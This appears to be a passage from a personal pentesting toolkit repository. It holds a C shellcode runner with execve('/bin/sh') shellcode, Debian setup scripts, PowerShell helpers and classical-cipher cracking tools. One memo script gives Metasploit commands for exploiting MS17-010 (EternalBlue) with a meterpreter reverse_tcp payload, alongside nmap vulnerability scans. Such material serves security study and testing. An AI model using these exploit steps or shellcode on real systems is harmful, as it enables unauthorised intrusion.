28 29 | $ exit 30 | $ ./execshellcode32 "0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x89 0xc1 0x89 0xc2 0xb0 0x0b 0xcd 0x80 0x31 0xc0 0x40 0xcd 0x80" 31 | Shellcode Length: 28 32 | $ exit 33 | $ ./execshellcode32 "\x31 \xc0 \x50 \x68 \x2f \x2f \x73 \x68 \x68 \x2f \x62 \x69 \x6e \x89 \xe3 \x89 \xc1 \x89 \xc2 \xb0 \x0b \xcd \x80 \x31 \xc0 \x40 \xcd \x80" 34 | Shellcode Length: 28 35 | $ exit 36 | $ ./execshellcode32 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" 37 | Shellcode Length: 28 38 | $ exit 39 | $ 40 | ``` 41 | **64 bits shellcodes** 42 | ```sh 43 | $ ./execshellcode64 "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 44 | Shellcode Length: 27 45 | $ exit 46 | $ 47 | 48 | ``` 49 | 50 | -------------------------------------------------------------------------------- /execshellcode/execshellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char *hex2str(char *str); 6 | int char_count(char *str, char search); 7 | char *str_replace(char *orig, char *rep, char *with); 8 | 9 | int main(int argc, char **argv) 10 | { 11 | if (argc != 2) { 12 | printf("Usage : %s \n", argv[0]); 13 | printf("\nDifferent shellcode formats are allowed :\n"); 14 | printf("\t%s \"31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 89 c1 89 c2 b0 0b cd 80 31 c0 40 cd 80\"\n", argv[0]); 15 | printf("\t%s \"0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x89 0xc1 0x89 0xc2 0xb0 0x0b 0xcd 0x80 0x31 0xc0 0x40 0xcd 0x80\"\n", argv[0]); 16 | printf("\t%s \"\\x31 \\xc0 \\x50 \\x68 \\x2f \\x2f \\x73 \\x68 \\x68 \\x2f \\x62 \\x69 \\x6e \\x89 \\xe3 \\x89 \\xc1 \\x89 \\xc2 \\xb0 \\x0b \\xcd \\x80 \\x31 \\xc0 \\x40 \\xcd \\x80\"\n", argv[0]); 17 | printf("\t%s \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x40\\xcd\\x80\"\n", argv[0]); 18 | return 1; 19 | } 20 | char *shellcode = hex2str(argv[1]); 21 | printf("Shellcode Length: %zd\n", strlen(shellcode)); 22 | int (*ret)() = (int(*)())shellcode; 23 | ret(); 24 | free(shellcode); 25 | return 0; 26 | } 27 | 28 | char *hex2str(char *str) { 29 | char *shellcode= str_replace(str_replace(str, "\\x", " "), "0x", " "); 30 | char *pEnd; 31 | long int j = strtol(shellcode, &pEnd, 16); 32 | char *sc; 33 | sc = malloc(strlen(shellcode)-char_count(shellcode, ' ')); 34 | int counter=0; 35 | while (j != 0) { 36 | sprintf(sc+counter*sizeof(char), "%c", (int) j); 37 | counter++; 38 | j = strtol(pEnd, &pEnd, 16); 39 | } 40 | free(shellcode); 41 | return sc; 42 | } 43 | 44 | int char_count(char *str, char search) { 45 | int i; 46 | int charcount = 0; 47 | for (i=0; str[i]; i++) { 48 | if (str[i] == search) charcount++; 49 | } 50 | return charcount; 51 | } 52 | 53 | char *str_replace(char *orig, char *rep, char *with) { 54 | char *result; 55 | char *ins; 56 | char *tmp; 57 | int len_rep; 58 | int len_with; 59 | int len_front; 60 | int count; 61 | 62 | if (!orig) 63 | return NULL; 64 | if (!rep) 65 | rep = ""; 66 | len_rep = strlen(rep); 67 | if (!with) 68 | with = ""; 69 | len_with = strlen(with); 70 | 71 | ins = orig; 72 | for (count = 0; (tmp = strstr(ins, rep)) != NULL; ++count) { 73 | ins = tmp + len_rep; 74 | } 75 | 76 | tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1); 77 | 78 | if (!result) 79 | return NULL; 80 | 81 | while (count--) { 82 | ins = strstr(orig, rep); 83 | len_front = ins - orig; 84 | tmp = strncpy(tmp, orig, len_front) + len_front; 85 | tmp = strcpy(tmp, with) + len_with; 86 | orig += len_front + len_rep; // move to next "end of rep" 87 | } 88 | strcpy(tmp, orig); 89 | return result; 90 | } 91 | -------------------------------------------------------------------------------- /findaddr/README.md: -------------------------------------------------------------------------------- 1 | # FindAddr 2 | Find environment variable address 3 | 4 | ### Version 5 | 1.0.0 6 | 7 | ### Compile 8 | ```sh 9 | gcc -Wall -o findaddr findaddr.c 10 | ``` 11 | 12 | ### Usage 13 | 14 | ```sh 15 | $ ./findaddr 16 | ``` 17 | 18 | ### Examples 19 | 20 | ```sh 21 | $ ./findaddr SHELL 22 | SHELL address: 0x7fff0417d64c 23 | ``` 24 | -------------------------------------------------------------------------------- /findaddr/findaddr.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | int main(int argc, char* argv[]) 5 | { 6 | if (argc != 2) { 7 | printf("%s\n", "Usage : findaddr ENV_NAME"); 8 | return 0; 9 | } 10 | printf("%s address: %p\n",argv[1], (void *)getenv(argv[1])); 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /hex2str/README.md: -------------------------------------------------------------------------------- 1 | # Hex2Str 2 | Converts hex ascii to string (usefull for printing special chars for shellcodes) 3 | 4 | ### Version 5 | 1.0.0 6 | 7 | ### Compile 8 | ```sh 9 | $ gcc -Wall -o hex2str hex2str.c 10 | ``` 11 | 12 | ### Usage 13 | 14 | ```sh 15 | $ ./hex2str 16 | ``` 17 | 18 | ### Examples 19 | 20 | ```sh 21 | $ ./hex2str "68 61 63 6b 6e 64 6f" 22 | hackndo 23 | $ ./hex2str "0x68 0x61 0x63 0x6b 0x6e 0x64 0x6f" 24 | hackndo 25 | $ ./hex2str "\x68 \x61 \x63 \x6b \x6e \x64 \x6f" 26 | hackndo 27 | $ ./hex2str "\x68\x61\x63\x6b\x6e\x64\x6f" 28 | hackndo 29 | 30 | ``` 31 | -------------------------------------------------------------------------------- /hex2str/hex2str.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char *hex2str(char *str); 6 | int char_count(char *str, char search); 7 | char *str_replace(char *orig, char *rep, char *with); 8 | 9 | int main(int argc, char *argv[]) { 10 | if (argc != 2) { 11 | printf("Usage : %s \n", argv[0]); 12 | printf("\nDifferent formats are allowed. Here are some examples :\n"); 13 | printf("\t%s \"68 61 63 6b 6e 64 6f\"\n", argv[0]); 14 | printf("\t%s \"0x68 0x61 0x63 0x6b 0x6e 0x64 0x6f\"\n", argv[0]); 15 | printf("\t%s \"\\x68 \\x61 \\x63 \\x6b \\x6e \\x64 \\x6f\"\n", argv[0]); 16 | printf("\t%s \"\\x68\\x61\\x63\\x6b\\x6e\\x64\\x6f\"\n", argv[0]); 17 | return 1; 18 | } 19 | printf("%s\n", hex2str(argv[1])); 20 | return 0; 21 | } 22 | 23 | char *hex2str(char *str) { 24 | char *shellcode= str_replace(str_replace(str, "\\x", " "), "0x", " "); 25 | char *pEnd; 26 | long int j = strtol(shellcode, &pEnd, 16); 27 | char *sc; 28 | sc = malloc(strlen(shellcode)-char_count(shellcode, ' ')); 29 | int counter=0; 30 | while (j != 0) { 31 | sprintf(sc+counter*sizeof(char), "%c", (int) j); 32 | counter++; 33 | j = strtol(pEnd, &pEnd, 16); 34 | } 35 | return sc; 36 | } 37 | 38 | int char_count(char *str, char search) { 39 | int i; 40 | int charcount = 0; 41 | for (i=0; str[i]; i++) { 42 | if (str[i] == search) charcount++; 43 | } 44 | return charcount; 45 | } 46 | 47 | char *str_replace(char *orig, char *rep, char *with) { 48 | char *result; // the return string 49 | char *ins; // the next insert point 50 | char *tmp; // varies 51 | int len_rep; // length of rep 52 | int len_with; // length of with 53 | int len_front; // distance between rep and end of last rep 54 | int count; // number of replacements 55 | 56 | if (!orig) 57 | return NULL; 58 | if (!rep) 59 | rep = ""; 60 | len_rep = strlen(rep); 61 | if (!with) 62 | with = ""; 63 | len_with = strlen(with); 64 | 65 | ins = orig; 66 | for (count = 0; (tmp = strstr(ins, rep)) != NULL; ++count) { 67 | ins = tmp + len_rep; 68 | } 69 | 70 | // first time through the loop, all the variable are set correctly 71 | // from here on, 72 | // tmp points to the end of the result string 73 | // ins points to the next occurrence of rep in orig 74 | // orig points to the remainder of orig after "end of rep" 75 | tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1); 76 | 77 | if (!result) 78 | return NULL; 79 | 80 | while (count--) { 81 | ins = strstr(orig, rep); 82 | len_front = ins - orig; 83 | tmp = strncpy(tmp, orig, len_front) + len_front; 84 | tmp = strcpy(tmp, with) + len_with; 85 | orig += len_front + len_rep; // move to next "end of rep" 86 | } 87 | strcpy(tmp, orig); 88 | return result; 89 | } 90 | -------------------------------------------------------------------------------- /init_scripts/Install_Docker_Debian.sh: -------------------------------------------------------------------------------- 1 | sudo apt-get remove docker docker-engine docker.io 2 | sudo apt-get update 3 | sudo apt-get install -y git build-essential dkms gcc linux-headers-$(uname -r) apt-transport-https ca-certificates curl gnupg2 software-properties-common 4 | curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add - 5 | sudo apt-key fingerprint 0EBFCD88 6 | sudo add-apt-repository \ 7 | "deb [arch=amd64] https://download.docker.com/linux/debian \ 8 | $(lsb_release -cs) \ 9 | stable" 10 | sudo apt-get update 11 | sudo apt-get install -y docker-ce 12 | cd /tmp 13 | wget https://bootstrap.pypa.io/get-pip.py 14 | sudo python get-pip.py 15 | sudo pip install docker-compose 16 | cd ~ 17 | mkdir docker 18 | sudo usermod -aG docker 19 | -------------------------------------------------------------------------------- /init_scripts/VB_Debian.sh: -------------------------------------------------------------------------------- 1 | # VBox Additions 2 | apt update 3 | apt dist-upgrade -y 4 | apt install build-essential dkms gcc linux-headers-$(uname -r) 5 | mkdir /tmp/vboxadd 6 | cp /media/cdrom0/VBoxLinuxAdditions.run /tmp/vboxadd/ 7 | cd /tmp/vboxadd/ 8 | chmod +x ./VBoxLinuxAdditions.run 9 | ./VBoxLinuxAdditions.run 10 | reboot 11 | 12 | # Tools 13 | apt install git python terminator apache2 -y 14 | -------------------------------------------------------------------------------- /init_scripts/new_debian.sh: -------------------------------------------------------------------------------- 1 | # Part 1 2 | apt update && apt -y upgrade 3 | apt install sudo git -y 4 | useradd -m pixis 5 | passwd pixis 6 | 7 | # Part 2 8 | usermod -a -G sudo pixis 9 | chsh -s /bin/bash pixis 10 | -------------------------------------------------------------------------------- /ms/double-pulsar.sh: -------------------------------------------------------------------------------- 1 | # Memo commands for detecting Double Pulsar backdoor 2 | # Run as root 3 | 4 | # Download NSE script 5 | wget -P /usr/share/nmap/scripts https://raw.githubusercontent.com/nmap/nmap/master/scripts/smb-double-pulsar-backdoor.nse 6 | 7 | # Check infected machines 8 | nmap -p445 --script smb-double-pulsar-backdoor 192.168.1.103 9 | -------------------------------------------------------------------------------- /ms/ms17-010.sh: -------------------------------------------------------------------------------- 1 | # Memo commands for MS17-010 scan and exploit 2 | # Run as root 3 | # 4 | # "Exploit in Metasploit" section are msfconsole commands. They shouldn't be use in a terminal 5 | 6 | # Download NSE script 7 | wget -P /usr/share/nmap/scripts https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse 8 | 9 | # Check vulnerable machines 10 | nmap -p445 --script smb-vuln-ms17-010 192.168.1.103 11 | 12 | # Download Metasploit module 13 | git clone https://github.com/risksense-ops/ms17-010.git 14 | cp ms17-010/exploits/eternalblue/ms17_010_eternalblue.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ 15 | 16 | # Start Metasploit 17 | service postgresql start 18 | msfconsole 19 | 20 | # Exploit in Metasploit 21 | > use exploit/windows/smb/ms17_010_eternalblue.rb 22 | > set RHOST 192.168.1.103 23 | > set payload windows/x64/meterpreter/reverse_tcp 24 | > exploit 25 | 26 | # Enjoy 27 | -------------------------------------------------------------------------------- /ms/sambacry.sh: -------------------------------------------------------------------------------- 1 | # Download NSE script 2 | wget -P /usr/share/nmap/scripts https://raw.githubusercontent.com/Waffles-2/SambaCry/master/CVE-2017-7494.nse 3 | 4 | # Check vulnerable machines 5 | nmap -p445 --script CVE-2017-7494 192.168.1.103 6 | -------------------------------------------------------------------------------- /pwsh/Base64.ps1: -------------------------------------------------------------------------------- 1 | Function Base64{ 2 | <# 3 | .SYNOPSIS 4 | Encode and decode powershell commands 5 | .DESCRIPTION 6 | Encode and decode powershell commands using input strings or files 7 | 8 | .PARAMETER decode 9 | 10 | If set, decode provided encoded command. Else, encode provided command 11 | 12 | .PARAMETER inputfile 13 | 14 | If set, read command from file $InputFile. Else, read from STDIN 15 | 16 | .PARAMETER outputfile 17 | 18 | If set, output result to file $OutputFile. Else, output to STDOUT 19 | 20 | .INPUTS 21 | Encoded or decoded powershell command (STDIN or file) 22 | 23 | .OUTPUTS 24 | Encoded or decoded powershell command (STDOUT or file) 25 | 26 | .EXAMPLE 27 | Base64 28 | Insert code: pixis 29 | cABpAHgAaQBzAA== 30 | 31 | .EXAMPLE 32 | Base64 -Decode 33 | Insert code: cABpAHgAaQBzAA== 34 | pixis 35 | 36 | .EXAMPLE 37 | Base64 -Decode -InputFile encodedCommand.txt 38 | pixis 39 | 40 | .EXAMPLE 41 | Base64 -InputFile encodedCommand.txt -OutputFile decodedOutput.txt 42 | #> 43 | 44 | param ( 45 | [Switch] $Decode = $false, 46 | [String] $InputFile, 47 | [String] $OutputFile 48 | ) 49 | 50 | 51 | IF($decode) { 52 | IF($inputfile) { 53 | $Text = get-content $inputfile 54 | } else { 55 | $Text= Read-Host -Prompt 'Insert code' 56 | } 57 | $ReturnText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($Text)) 58 | } else { 59 | IF($inputfile) { 60 | $Text = get-content $inputfile 61 | } else { 62 | $Text= Read-Host -Prompt 'Insert code' 63 | } 64 | $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text) 65 | $ReturnText =[Convert]::ToBase64String($Bytes) 66 | } 67 | 68 | IF($outputfile) { 69 | $ReturnText | Out-File $outputfile 70 | } else { 71 | Write-Host $ReturnText 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /pwsh/Test-ADCredential.ps1: -------------------------------------------------------------------------------- 1 | # Usage 2 | # Test-ADCredential -UserName "jsmith" -Password "passw0rd" -FqdnDomain "corp.company.com"` 3 | 4 | function Test-ADCredential { 5 | [CmdletBinding()] 6 | Param 7 | ( 8 | [string]$UserName, 9 | [string]$Password, 10 | [string]$FqdnDomain 11 | ) 12 | if (!($UserName) -or !($Password) -or !($FqdnDomain)) { 13 | Write-Warning 'Test-ADCredential: Please specify both user name, password, and domain FQDN' 14 | } else { 15 | Add-Type -AssemblyName System.DirectoryServices.AccountManagement 16 | $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('domain', $FqdnDomain) 17 | $DS.ValidateCredentials($UserName, $Password) 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /pytools/.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask instance folder 57 | instance/ 58 | 59 | # Sphinx documentation 60 | docs/_build/ 61 | 62 | # PyBuilder 63 | target/ 64 | 65 | # IPython Notebook 66 | .ipynb_checkpoints 67 | 68 | # pyenv 69 | .python-version 70 | 71 | # dotenv 72 | .env 73 | -------------------------------------------------------------------------------- /pytools/BeaufortCipher.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | from __future__ import division 3 | from VigenereLikeCipher import VigenereLikeCipher 4 | from KeyCipher import KeyCipher 5 | 6 | class BeaufortCipher(KeyCipher, VigenereLikeCipher): 7 | 8 | def encipher(self): 9 | if self._key is None: 10 | print "[!] No key provided. Setting key to 'A'." 11 | self._key = 'A' 12 | counter = 0 13 | decrypted = ['_'] * self._len 14 | for i in range(self._len): 15 | if self._s[i] != " ": 16 | self._s[i] = chr((ord(self._s[i])-65-(ord(self._key[counter])-65))%26+65) 17 | counter = (counter+1)%len(self._key) 18 | return self 19 | 20 | 21 | def decipher(self): 22 | if self._key is None: 23 | print "[!] No key provided. Setting key to 'A'." 24 | self._key = 'A' 25 | encrypted = ['_'] * self.len 26 | counter = 0 27 | for i in range(self.len): 28 | if self._s[i] != " ": 29 | self._s[i] = chr((ord(self.s[i])-65+ord(self._key[counter])-65)%26+65) 30 | counter = (counter+1)%len(self._key) 31 | return self 32 | 33 | 34 | def decrypt(self, min_len=1, max_len=9, display=False): 35 | self._key = self.__guess_key(min_len, max_len, display) 36 | if self._key < 0: 37 | print "Unable to decrypt the message. Perhaps it's to small and frequence analysis can't be used" 38 | return -1 39 | print "[*] Most probable key : " + self._key + "\n" 40 | self.decipher() 41 | print "[*] Decryption complete" 42 | 43 | 44 | def __guess_key(self, min_len=1, max_len=9, display=False): 45 | keylen = self.guess_key_length(min_len, max_len, display) 46 | if keylen == 0: 47 | print "[!] No key length found." 48 | return -1 49 | if display: 50 | print "[*] Most probable key length : " + str(keylen) + "\n" 51 | freq_fr = {'e': 14.715, 's': 7.948, 'a': 7.636, 'i': 7.529, 't': 7.244, 'n': 7.095, 'r': 6.553, 'u': 6.311, 'l': 5.456, 'o': 5.378, 'd': 3.669, 'c': 3.260, 'p': 3.021, 'm': 2.968, 'v': 1.628, 'q': 1.362, 'f': 1.066, 'b': 0.901, 'g': 0.866, 'h': 0.737, 'j': 0.545, 'x': 0.387, 'y': 0.308, 'z': 0.136, 'w': 0.114, 'k': 0.049} 52 | password = "" 53 | for i in range(keylen): 54 | sub_alphabet = BeaufortCipher(''.join([self._s[keylen*j + i] for j in range(self._len//keylen)])) 55 | min_differential = 99999 56 | password_letter = "" 57 | for c in range(65, 65+26): 58 | sub_alphabet.key = chr(c) 59 | decrypted = BeaufortCipher(sub_alphabet.decipher().tostring()) 60 | sub_alphabet.encipher() 61 | freq_s = { k:round((v/decrypted.len)*100, 3) for k,v in dict(decrypted.get_frequencies()).items()} 62 | differential = sum([abs(freq_fr[k.lower()]-v) for k,v in freq_s.items()]) 63 | if differential < min_differential: 64 | min_differential = differential 65 | password_letter = chr(c) 66 | password += password_letter 67 | 68 | # Little hack for repetitive password due to frequency analysis 69 | for i in range(1, len(password)): 70 | if len(password) % i == 0: 71 | duplicate = True 72 | s = [password[j*i:(j+1)*i] for j in range(len(password)//i)] 73 | ex_prec = s[0] 74 | for ex in s: 75 | if ex != ex_prec: 76 | duplicate = False 77 | break 78 | ex_prec = ex 79 | if duplicate: 80 | password = ex 81 | if display: 82 | print "[*] [UPDATE] Most probable key length : " + str(len(password)) + "\n" 83 | break 84 | return BeaufortCipher.clean_string(password) 85 | 86 | if __name__ == "__main__": 87 | p = BeaufortCipher("Salut les amis, je suis parti en amerique du sud parce que je trouvais que l'endroit etait super sympa. Vous en pensez quoi ? Moi je trouve que c'est une idée géniale. Le voyage, tout le monde le sait, ça permet de fait de nouvelles rencontres, notamment la rencontre avec soi-même. Le voyage, tout le monde le sait, ça permet de découvrir le monde, de découvrir de nouvelles villes, de nouveaux villages, de nouveaux paysages. Le voyage, tout le monde le sait, ça permet de s'ouvrir à de nouvelles cultures, de nouvelles traditions, de nouvelles manières de vivre. Ça, tout le monde le sait. Mais pour moi, il y a quelque chose d'autre. Quelque chose que souvent j'oublie, que souvent je ne remarque pas, que souvent je néglige. Le voyage, je ne le savais pas, ça permet de me rendre compte que ma ville, Paris, est belle. Paris, et tous ses quartiers plein de cafés aux multiples tintements de tasses, de terasses calmes sous les rayons de soleil, d'odeurs de baguettes sorties du four, de pavés authentiques, de façades aux magnifiques allures Hausmaniennes, de grandes portes en bois, de ruelles biscornues abritant des endroits secrets, de pont majestueux surplombant la Seine, de collines, de quais piétons aux plus grand plaisir des amoureux, de canaux promptent à des promenades dominicales sous les arbres en fleurs, de fleuristes aux coins de rues desquels émanent ces odeurs délicieuses, de vie, tout simplement.") 88 | p.key = "hackndo" 89 | p.encipher() 90 | p.decrypt(max_len=20, display=True) 91 | print p.tostring() 92 | -------------------------------------------------------------------------------- /pytools/Cipher.py: -------------------------------------------------------------------------------- 1 | from __future__ import division 2 | from Text import Text 3 | class Cipher(Text): 4 | 5 | def encipher(self): 6 | print "Not yet implemented" 7 | 8 | 9 | def decipher(self): 10 | print "Not yet implemented" -------------------------------------------------------------------------------- /pytools/KeyCipher.py: -------------------------------------------------------------------------------- 1 | from Cipher import Cipher 2 | 3 | class KeyCipher(Cipher): 4 | _key = None 5 | 6 | def __init__(self, s, size_element=1, keep_spaces=False, key=None): 7 | Cipher.__init__(self, s, size_element, keep_spaces) 8 | self.key = key 9 | 10 | @property 11 | def key(self): 12 | if self._key is None: 13 | print "[!] No key provided. Setting key to 'A'." 14 | self._key = 'A' 15 | return self._key 16 | 17 | @key.setter 18 | def key(self, key): 19 | self._key = KeyCipher.clean_string(key) 20 | 21 | 22 | @key.deleter 23 | def key(self): 24 | del self._key -------------------------------------------------------------------------------- /pytools/PolyalphaCipher.py: -------------------------------------------------------------------------------- 1 | from __future__ import division 2 | from Cipher import Cipher 3 | import math 4 | 5 | class PolyalphaCipher(Cipher): 6 | _key = None 7 | 8 | @property 9 | def key(self): 10 | return self._key 11 | 12 | @key.setter 13 | def key(self, key): 14 | self._key = PolyalphaCipher.clean_string(key) 15 | 16 | 17 | @key.deleter 18 | def key(self): 19 | del self._key 20 | 21 | 22 | def guess_key_length(self, min_len=1, max_len=9, display=False): 23 | """ 24 | Guess key length based on frequence analysis 25 | """ 26 | 27 | res = {} 28 | max_ic = 0 29 | probable_key_length = 0 30 | # We try different key lengths 31 | for i in range(min_len, max_len+1): 32 | 33 | if self._len < i*2: 34 | continue 35 | ics = [] 36 | for j in range(i): 37 | var = [] 38 | for k in range(self._len//i): 39 | var.append(self._s[k*i + j]) 40 | text = PolyalphaCipher(''.join(var)) 41 | ics.append(text.get_ic()) 42 | total_ic = round(sum(ics)/len(ics),4) 43 | if total_ic > max_ic: 44 | max_ic = total_ic 45 | probable_key_length = i 46 | res[i] = total_ic 47 | if display: 48 | print "\n[+] Visual key length IC correspondance" 49 | for k,v in res.items(): 50 | v = int(round(v*1000,0)) 51 | print str(k) + (int(math.floor(math.log10(len(res))))+1-len(str(k)))*" ", 52 | print ''.join(['|' for i in range(v//2)]) 53 | print "" 54 | return probable_key_length -------------------------------------------------------------------------------- /pytools/PolybiusCipher.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | from __future__ import division 3 | from KeyCipher import KeyCipher 4 | from Substitution import Substitution 5 | 6 | class PolybiusCipher(Substitution, KeyCipher): 7 | 8 | _keysquare = None 9 | 10 | def __init__(self, s, size_element=1, keep_spaces=False): 11 | Substitution.__init__(self, s, size_element, keep_spaces) 12 | self.s = [c.replace("W","V") for c in self.s] 13 | self.reference_alphabet = "ABCDEFGHIJKLMNOPQRSTUVXYZ" 14 | 15 | @property 16 | def keysquare(self): 17 | if self._keysquare is None: 18 | self.__initialize_keysquare() 19 | return self._keysquare 20 | 21 | 22 | def __initialize_keysquare(self): 23 | self.key = self.key.replace("W", "V") 24 | l = [c for c in self.reference_alphabet] 25 | self._keysquare = [['']*5 for i in range(5)] 26 | for i in range(len(self.key)): 27 | self._keysquare[i//5][i%5] = self.key[i] 28 | l.remove(self.key[i]) 29 | for i in range(len(self.key), 25): 30 | self._keysquare[i//5][i%5] = l[i-len(self.key)] 31 | print "[*] Keysquare initialized" 32 | for row in self._keysquare: 33 | print " " + ' '.join(row) 34 | print "" 35 | 36 | def encipher(self): 37 | self.__initialize_keysquare() 38 | self.substitute_alphabet = ''.join([''.join(r) for r in self.keysquare]) 39 | self.substitute() 40 | print "[*] Encipher complete\n" 41 | 42 | 43 | def decipher(self): 44 | self.__initialize_keysquare() 45 | self.substitute_alphabet = ''.join([''.join(r) for r in self.keysquare]) 46 | self.substitute_reverse() 47 | print "[*] Decipher complete\n" 48 | 49 | 50 | if __name__ == "__main__": 51 | p = PolybiusCipher("Salut les amis, je suis parti en amerique du sud parce que je trouvais que l'endroit etait super sympa. Vous en pensez quoi ? Moi je trouve que c'est une idée géniale. Le voyage, tout le monde le sait, ça permet de fait de nouvelles rencontres, notamment la rencontre avec soi-même. Le voyage, tout le monde le sait, ça permet de découvrir le monde, de découvrir de nouvelles villes, de nouveaux villages, de nouveaux paysages. Le voyage, tout le monde le sait, ça permet de s'ouvrir à de nouvelles cultures, de nouvelles traditions, de nouvelles manières de vivre. Ça, tout le monde le sait. Mais pour moi, il y a quelque chose d'autre. Quelque chose que souvent j'oublie, que souvent je ne remarque pas, que souvent je néglige. Le voyage, je ne le savais pas, ça permet de me rendre compte que ma ville, Paris, est belle. Paris, et tous ses quartiers plein de cafés aux multiples tintements de tasses, de terasses calmes sous les rayons de soleil, d'odeurs de baguettes sorties du four, de pavés authentiques, de façades aux magnifiques allures Hausmaniennes, de grandes portes en bois, de ruelles biscornues abritant des endroits secrets, de pont majestueux surplombant la Seine, de collines, de quais piétons aux plus grand plaisir des amoureux, de canaux promptent à des promenades dominicales sous les arbres en fleurs, de fleuristes aux coins de rues desquels émanent ces odeurs délicieuses, de vie, tout simplement.") 52 | p.key = "HACKNDO" 53 | p.encipher() 54 | print p.tostring() 55 | 56 | p.decipher() 57 | print p.tostring() 58 | -------------------------------------------------------------------------------- /pytools/README.md: -------------------------------------------------------------------------------- 1 | # pytools 2 | List of python tools I wrote 3 | 4 | ### Text 5 | 6 | Example 7 | 8 | ```python 9 | # French truncated text example from http://blog.hackndo.com/retour-a-la-libc/ 10 | text = Text("Bonjour, nous avons vu dans la série [...])", keep_spaces=False) 11 | text.analyse() 12 | ``` 13 | 14 | Result 15 | 16 | ``` 17 | [*] ANALYSIS 18 | 19 | [+] Size 20 | 1444 chars 21 | 22 | [+] Number of unique chars 23 | 28 24 | ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\xa2', '\xc3'] 25 | 26 | [+] Most common frequencies 27 | [('E', 271), ('T', 108), ('A', 103), ('S', 103), ('R', 103)] 28 | 29 | [+] Double letters frequencies 30 | Counter({'EE': 16, 'SS': 12, 'LL': 9, 'TT': 8, 'MM': 6, 'PP': 5, 'FF': 5, 'NN': 3, 'RR': 3, 'CC': 1}) 31 | 32 | [+] IC 33 | 0.0801 34 | ``` 35 | 36 | ### VigenereCipher 37 | 38 | Example 39 | 40 | ```python 41 | # French truncated text example from http://blog.hackndo.com/retour-a-la-libc/ 42 | p = VigenereCipher("Salut les amis, je suis parti [..]") 43 | p.key = "hackndo" 44 | p.encipher() 45 | p.decrypt(max_len=20, display=True) 46 | print p.tostring() 47 | ``` 48 | 49 | Result 50 | 51 | ``` 52 | [+] Visual key length IC correspondance 53 | 1 ||||||||||||||||||||| 54 | 2 ||||||||||||||||||||| 55 | 3 ||||||||||||||||||||| 56 | 4 ||||||||||||||||||||| 57 | 5 ||||||||||||||||||||| 58 | 6 ||||||||||||||||||||| 59 | 7 ||||||||||||||||||||||||||||||||||||||| 60 | 8 ||||||||||||||||||||| 61 | 9 ||||||||||||||||||||| 62 | 10 ||||||||||||||||||||| 63 | 11 ||||||||||||||||||||| 64 | 12 |||||||||||||||||||| 65 | 13 ||||||||||||||||||||| 66 | 14 |||||||||||||||||||||||||||||||||||||||| 67 | 15 |||||||||||||||||||||| 68 | 16 ||||||||||||||||||||| 69 | 17 |||||||||||||||||||||| 70 | 18 |||||||||||||||||||| 71 | 19 |||||||||||||||||||| 72 | 20 ||||||||||||||||||||| 73 | 74 | [*] Most probable key length : 14 75 | 76 | [*] [UPDATE] Most probable key length : 7 77 | 78 | [*] Most probable key : HACKNDO 79 | 80 | [*] Decryption complete 81 | SALUTLESAMISJESUISPARTIENAM [...] 82 | ``` 83 | 84 | ### BeaufortCipher 85 | 86 | Example 87 | 88 | ```python 89 | # French truncated text example from http://blog.hackndo.com/retour-a-la-libc/ 90 | p = BeaufortCipher("Salut les amis, je suis parti [..]") 91 | p.key = "hackndo" 92 | p.encipher() 93 | p.decrypt(max_len=20, display=True) 94 | print p.tostring() 95 | ``` 96 | 97 | Result 98 | 99 | ``` 100 | [+] Visual key length IC correspondance 101 | 1 